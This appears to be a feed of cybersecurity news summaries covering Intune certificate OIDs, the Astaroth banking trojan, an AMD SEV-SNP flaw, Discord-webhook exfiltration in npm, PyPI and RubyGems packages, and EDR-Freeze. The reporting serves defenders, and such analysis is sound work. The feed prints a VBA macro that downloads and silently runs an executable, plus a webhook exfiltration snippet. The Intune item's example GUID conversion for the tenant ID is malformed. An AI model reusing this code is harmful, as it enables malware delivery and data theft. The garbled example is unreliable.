• New research uncovers valuable insights hidden within Microsoft Intune’s Mobile Device Management (MDM) certificates, offering a more reliable way to verify device and tenant identities compared to traditional methods like registry values.

    These certificates, issued to enrolled devices, contain Object Identifiers (OIDs) that, when properly decoded, reveal unique GUIDs for the MDM Device ID and Entra ID Tenant ID, enhancing trust in device authentication.

    This discovery, detailed by Ben Whitmore, highlights how endpoint managers can leverage cryptographic data for robust identity confirmation in enterprise environments.​

    The Intune MDM certificate ensures secure communication between devices and the Intune service, embedding non-human-readable extensions that hold critical identifiers.

    Researchers identified two key OIDs: 1.2.840.113556.5.4 for the MDM Device ID and 1.2.840.113556.5.14 for the Entra ID Tenant ID, both stored as mixed little-endian and big-endian byte arrays requiring specific reordering to form readable GUIDs.

    Unlike registry values, which can be tampered with easily, these certificate-bound identifiers provide a chain of trust backed by Microsoft’s certification authorities.

    Hidden OIDs in MDM Certificates

    For instance, the certificate’s properties, visible in tools like certmgr.msc, show byte arrays that must be rearranged to unlock their meaning, offering IT admins a tamper-resistant alternative for auditing device enrollment.

    Extracting meaningful data from these OIDs involves a precise byte reordering process, often discovered through trial and error.

    For the MDM Device ID (OID 1.2.840.113556.5.4), the first four bytes are reversed, followed by reversals of the next two pairs, while the final six bytes remain unchanged; using example bytes 12 34 56 78 9A BC DE F0 12 34 56 78 90 AB CD EF yields the GUID 78563412-BC9A-F0DE-1234-567890ABCDEF after transformation.

    Similarly, the Entra ID Tenant ID (OID 1.2.840.113556.5.14) follows a variant pattern with eight unchanged final bytes, converting sample data A1 B2 C3 D4 E5 F6 12 34 56 78 9A BC DE F0 01 23 A1 into F6E5D4C3-F6E5-3412-5678-9ABCDEF00123A1.

    This method ensures high-confidence verification, as the data originates from trusted issuers like the Microsoft Intune MDM Device CA, reducing risks from modifiable system artifacts.

    To streamline this process, developers at MSEndpointMgr released a PowerShell script, Get-TenantInformation.ps1, available on GitHub, which automates certificate discovery and decoding across LocalMachine and user profile stores.

    The script searches for certificates issued by the Microsoft Intune MDM Device CA or MS-Organization-Access, validates their chain against expected root and intermediate authorities, and checks private key exportability using certutil for Key Storage Provider details.

    It processes OIDs like 1.2.840.113556.5.4 and 1.2.840.113556.5.14, reassembling bytes into GUIDs while outputting comprehensive details, including thumbprint, issuer, and trust status, according to Ben Whitmore.

    Running as admin reveals whether keys are TPM-protected, indicated by “Microsoft Platform Crypto Provider” versus software-only on older devices, flagging potential vulnerabilities.

    This tool empowers admins to audit Entra ID join types and tenant regions from extensions like 1.2.840.113556.1.5.284.7, fostering proactive security management.

    By prioritizing certificate OIDs over less secure alternatives, organizations can build stronger device identity assurance, akin to choosing premium authentication over basic checks.

    This approach not only elevates trust but also aids in threat detection by confirming legitimate tenant associations. As Intune evolves, such techniques will prove essential for maintaining endpoint integrity.​

    Follow us on Google News, LinkedIn, and X for daily cybersecurity updates. Contact us to feature your stories.

    The post Microsoft Intune MDM and Entra ID Leveraged to Elevate your Trust in Device Identity appeared first on Cyber Security News.

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  • Every week, the cyber world reminds us that silence doesn’t mean safety. Attacks often begin quietly — one unpatched flaw, one overlooked credential, one backup left unencrypted. By the time alarms sound, the damage is done. This week’s edition looks at how attackers are changing the game — linking different flaws, working together across borders, and even turning trusted tools into weapons.

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  • In September 2025, Kandji’s security researchers uncovered a sophisticated campaign in which attackers deployed multiple spoofed Homebrew installer sites that perfectly mimic the official brew.sh page. These counterfeit domains served a hidden malicious payload under the guise of the standard Homebrew installation script. This exposé delves into the tactics, infrastructure, and impact of this alarming […]

    The post Hackers Target macOS Users with Fake Homebrew Websites to Deliver Malicious Payloads appeared first on GBHackers Security | #1 Globally Trusted Cyber Security News Platform.

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  • A new wave of the Astaroth banking trojan has emerged, leveraging a novel approach to distribute its malicious configuration files.

    First detected in late 2025, this latest campaign employs GitHub’s raw content service to host encrypted JSON configurations containing target URLs, browser injection parameters, and command-and-control (C2) endpoints.

    By hiding critical settings behind GitHub’s trusted domain, Astaroth evades conventional network-based detections and blends seamlessly with routine developer traffic.

    Delivery remains consistent with previous outbreaks, relying on spear-phishing emails that contain malicious Word documents outfitted with obfuscated macros and decoy content to dupe analysts.

    Early victims report receiving emails purporting to be from financial institutions or corporate partners, often citing urgent invoice discrepancies.

    Opening the attached document triggers a Visual Basic for Applications (VBA) macro that downloads a lightweight .NET loader from a remote site.

    Once executed, the loader reaches out to GitHub’s raw content URLs to fetch the next-stage configuration, which is then decrypted in memory before spawning multiple threads for web injection and credential harvesting.

    McAfee researchers noted that by using GitHub as a distribution point, the malware bypasses static allow-lists and hides in plain sight of endpoint protection platforms, significantly extending its window of operation.

    Targeted primarily at European and North American banking customers, Astaroth’s impact includes unauthorized fund transfers, credential theft across multiple online banking portals, and in certain cases ransomware deployment for lateral movement.

    Advanced Configuration Management Through GitHub Infrastructure

    Victims remain unaware of the infection for weeks, as the malware employs both process hollowing and parent-child process masquerading to avoid sandbox detection.

    Files dropped to disk are minimal, and registry entries masquerade as legitimate Microsoft Office components, complicating forensic analysis for security teams.

    Infection chain (Source – McAfee)

    Delving into the infection mechanism reveals a sophisticated multi-stage process designed for stealth and reliability.

    Upon opening the malicious Word document, the embedded macro executes the following sequence:-

    Sub AutoOpen()
        Dim objHTTP As Object
        Dim strURL As String
        Dim strTemp As String
    
        Set objHTTP = CreateObject("MSXML2.XMLHTTP")
        strURL = "https://example.com/loader.exe"
        objHTTP.Open "GET", strURL, False
        objHTTP.Send
    
        strTemp = Environ("TEMP") & "\ldr.exe"
        If objHTTP.Status = 200 Then
            Set objFSO = CreateObject("Scripting.FileSystemObject")
            Set objFile = objFSO.CreateTextFile(strTemp, True)
            objFile.Write objHTTP.responseBody
            objFile.Close
            CreateObject("WScript.Shell").Run strTemp, 0, False
        End If
    End Sub

    Once ldr.exe executes, it invokes the following .NET routine to fetch and decrypt the GitHub-hosted configuration:

    var url = "https://raw.githubusercontent.com/user/repo/main/config.dat";
    using var wc = new WebClient();
    byte[] data = wc.DownloadData(url);
    byte[] decrypted = DecryptConfig(data, key);
    var configJson = Encoding.UTF8.GetString(decrypted);

    This mechanism illustrates Astaroth’s reliance on legitimate infrastructure to obscure malicious intent, complicating the ability of network defenders to discriminate between benign and malicious traffic.

    Continuous monitoring of unusual GitHub raw content access from non-developer endpoints is now recommended as a key detection strategy.

    Follow us on Google News, LinkedIn, and X to Get More Instant Updates, Set CSN as a Preferred Source in Google.

    The post Astaroth Banking Malware Leveraging GitHub to Host Malware Configurations appeared first on Cyber Security News.

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  • In September, a nascent pro-Russian hacktivist group known as TwoNet staged its first operational technology and industrial control systems (OT/ICS) intrusion against our water treatment utility honeypot. By exploiting default credentials and SQL-based schema extraction, the adversary ultimately created backdoor accounts and defaced the human-machine interface (HMI), demonstrating a concerning pivot from pure DDoS to […]

    The post Pro-Russian Hacktivist Targets OT/ICS Systems to Harvest Credentials appeared first on GBHackers Security | #1 Globally Trusted Cyber Security News Platform.

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  • A critical vulnerability in AMD’s Secure Encrypted Virtualization with Secure Nested Paging (SEV-SNP), a cornerstone of confidential computing deployed by major cloud providers like AWS, Azure, and Google Cloud.

    Dubbed RMPocalypse, the attack exploits a flaw in the initialization of the Reverse Map Table (RMP), which enforces memory integrity to prevent hypervisors from tampering with encrypted virtual machines (VMs).

    This breakthrough, detailed in a paper presented at the ACM Conference on Computer and Communications Security (CCS) 2025 in Taipei, allows malicious hypervisors to corrupt RMP entries, shattering SEV-SNP’s guarantees of data confidentiality and integrity.

    The vulnerability, tracked as CVE-2025-0033, stems from a “Catch-22” in RMP setup: the table must protect itself, but during bootstrapping, AMD’s Platform Security Processor (PSP) fails to fully isolate it from interfering with x86 cores.

    Disclosed to AMD on February 3, 2025, the issue affects Zen 3, Zen 4, and Zen 5 processors, including EPYC server chips used in production environments.rmpocalypse-CCS2025.pdf​

    Flaw In RMP Initialization Exposed

    At the heart of SEV-SNP is the RMP, a massive data structure up to 16GB for large DRAM setups that maps host physical addresses to guest virtual addresses, blocking attacks like page swapping seen in predecessors SEV and SEV-ES.

    Normally, the RMP self-protects by denying hypervisor mappings to its own pages, but initialization poses a dilemma: no RMP exists yet to enforce this.

    The PSP, an ARM-based coprocessor, handles setup by creating barriers, Trusted Memory Regions (TMRs) at the memory controller, and x86 core locks to block writes during this phase.

    However, researchers Benedict Schlüter and Shweta Shinde from ETH Zurich found these barriers incomplete. Asynchronous timing allows x86 cores to create dirty cache lines in RMP memory before full protection activates.

    Once TMRs are lifted post-initialization, these stale entries flush to DRAM, overwriting RMP state with arbitrary values.

    Experiments on EPYC 9135 (Zen 5), 9124 (Zen 4), and 7313 (Zen 3) confirmed overwrites succeed without triggering faults, as coherency issues in Zen 3 exacerbate the problem.

    The PSP’s source code hints at intended safeguards, like cache flushes, but proprietary OS components and missing TLB invalidations leave gaps.

    RMPocalypse’s corruption primitive unlocks full compromise of SEV-SNP VMs. Attackers can transition RMP-protected pages, firmware, context, guest-valid, and VMSA states to hypervisor-writable, enabling four key exploits.

    Attack Overview
    Attack Overview

    First, forging attestation reports by replaying benign context page ciphertexts tricks guests into trusting malicious VMs, bypassing integrity checks since context pages lack encryption integrity.

    Second, enabling debug mode on production confidential VMs (CVMs) flips a policy bit in the context page, granting hypervisors read/write access via SNPDEBUGDECRYPT/ENCRYPT APIs undetected as attestation remains unaltered.

    Success rates exceed 99.9% in under 15 milliseconds after multiple trials. Third, VMSA state replay resets CVM registers to prior snapshots, breaking execution integrity for rollback attacks.

    Finally, arbitrary code injection targets guest pages: using SNPPAGEMOVE to swap tweak values, attackers replay IO-channel payloads (e.g., network packets) into kernel code, evading encryption tweaks.

    End-to-end, this takes about 5 milliseconds, including KASLR breaks. These primitives render SEV-SNP useless against untrusted hypervisors, exposing sensitive data like AI models or enterprise workloads to exfiltration and tampering.

    Mitigations

    AMD acknowledged the flaw and is working on fixes, but no patches exist yet for affected hardware.

    Researchers propose aligning barriers at the core level to check caches pre-TMR lift, or forcing global cache/TLB flushes post-RMP setup, though Zen 3’s domain incoherency demands extra invalidations.

    Firmware checks on RMP self-protection could hinder exploits via TOCTOU detection, albeit with overhead.

    As confidential computing grows, RMPocalypse joins side-channels like CacheWarp and Heckler, highlighting SEV-SNP’s fragility despite its post-SEV-ES hardening.

    Cloud tenants must audit providers for updates, while AMD’s partial open-sourcing of PSP firmware aids scrutiny but underscores proprietary risks.

    This attack, exploitable in under 234 milliseconds during SNPINITEX, urges reevaluation of hardware roots of trust.

    Follow us on Google News, LinkedIn, and X for daily cybersecurity updates. Contact us to feature your stories.

    The post New RMPocalypse Attack Let Hackers Break AMD SEV-SNP To Exfiltrate Confidential Data appeared first on Cyber Security News.

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  • Axis Communications, a leading provider of network video and surveillance solutions, has confirmed a critical vulnerability in its Autodesk® Revit® plugin that exposed Azure Storage Account credentials within signed DLLs. Discovered in July 2024 by Trend Micro’s Zero Day Initiative™ (ZDI), the vulnerability allowed attackers to access and manipulate cloud assets belonging to Axis and […]

    The post Axis Communications Vulnerability Exposes Azure Storage Credentials appeared first on GBHackers Security | #1 Globally Trusted Cyber Security News Platform.

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  • Cybercriminals have discovered a novel way to co-opt Discord webhooks as surrogate command-and-control (C2) channels across popular language ecosystems.

    Unlike traditional C2 servers, webhooks offer free, low-profile exfiltration that blends seamlessly into legitimate HTTPS traffic.

    Over the past month, malicious packages in npm, PyPI, and RubyGems have quietly siphoned sensitive files and telemetry from developer machines and continuous integration environments.

    Initial sightings involved a seemingly innocuous npm module named mysql-dumpdiscord. Upon installation or execution, it probes for configuration and environment files—such as config[.]json, [.]env, and ayarlar[.]js—reads their contents, and then issues an HTTP POST to a hard-coded Discord webhook URL.

    The attacker-controlled webhook, embedded as a string constant, receives each file’s contents, with longer files truncated to 1,900 characters to fit Discord’s messaging limits.

    Socket.dev analysts identified this technique only after network monitoring flagged an unusual spike in POST requests to discord[.]com/ api/ webhooks/....

    Further investigation revealed a second npm proof-of-concept leveraging the official discord.js library:-

    const { WebhookClient } = require ('discord.js');
    module.exports = async function send (messages) {
      try {
        const client = new WebhookClient ({ url: 'https://discord.com/api/webhooks/1323713674971713676/…' });
        await client.send (messages.join(' '));
      } catch (e) {
        // Silent failure
      }
    };

    This minimalist approach transforms any string passed into the function into a C2 message, bypassing host-based detection that looks for unusual domains or signatures.

    Across ecosystems, threat actors adopt similar tactics. In Python’s PyPI registry, a package dubbed malinssx overrides the install command in setuptools.

    During pip install, it serializes a notification message in Vietnamese—“Some just installed the maladicus package via pip!”—and dispatches it to its Discord webhook.

    Any network errors are caught and ignored, and the legitimate install process continues unobstructed.

    In RubyGems, an altered version of sqlcommenterrails collects host metadata—such as / etc / passwd contents, DNS servers, current user, and public IP—and formats it into a multi-line JSON payload.

    This is then POSTed to a webhook over HTTPS. Error handling is silent, ensuring no interruption in the gem installation.

    Infection Mechanism

    These packages exploit install-time hooks to achieve persistence and stealth. By overriding installer commands (install[.]run in Python, gemspec hooks in Ruby), malicious code executes before the host’s security controls alert on runtime behaviors.

    This early-stage execution means secrets are exfiltrated long before code analysis or endpoint protection kicks in.

    Moreover, using Discord’s infrastructure avoids raising suspicions from static allow-lists that permit traffic to discord[.]com for business collaboration, turning a trusted domain into a covert data pipeline.

    Follow us on Google News, LinkedIn, and X to Get More Instant Updates, Set CSN as a Preferred Source in Google.

    The post Threat Actors Weaponize Discord Webhooks for Command and Control with npm, PyPI, and Ruby Packages appeared first on Cyber Security News.

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  • Think your WAF has you covered? Think again. This holiday season, unmonitored JavaScript is a critical oversight allowing attackers to steal payment data while your WAF and intrusion detection systems see nothing. With the 2025 shopping season weeks away, visibility gaps must close now. Get the complete Holiday Season Security Playbook here. Bottom Line Up Front The 2024 holiday season saw major

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  • EDR-Freeze is a proof-of-concept tool that forces endpoint detection and response (EDR) or antivirus processes into a temporary “coma.” Instead of installing a vulnerable driver, it leverages legitimate Windows Error Reporting components, specifically WerFaultSecure.exe and the MiniDumpWriteDump API to pause security processes from user mode. By racing threads at just the right moment, EDR-Freeze suspends all […]

    The post EDR-Freeze: Technical Mechanics and Forensic Artifacts Exposed appeared first on GBHackers Security | #1 Globally Trusted Cyber Security News Platform.

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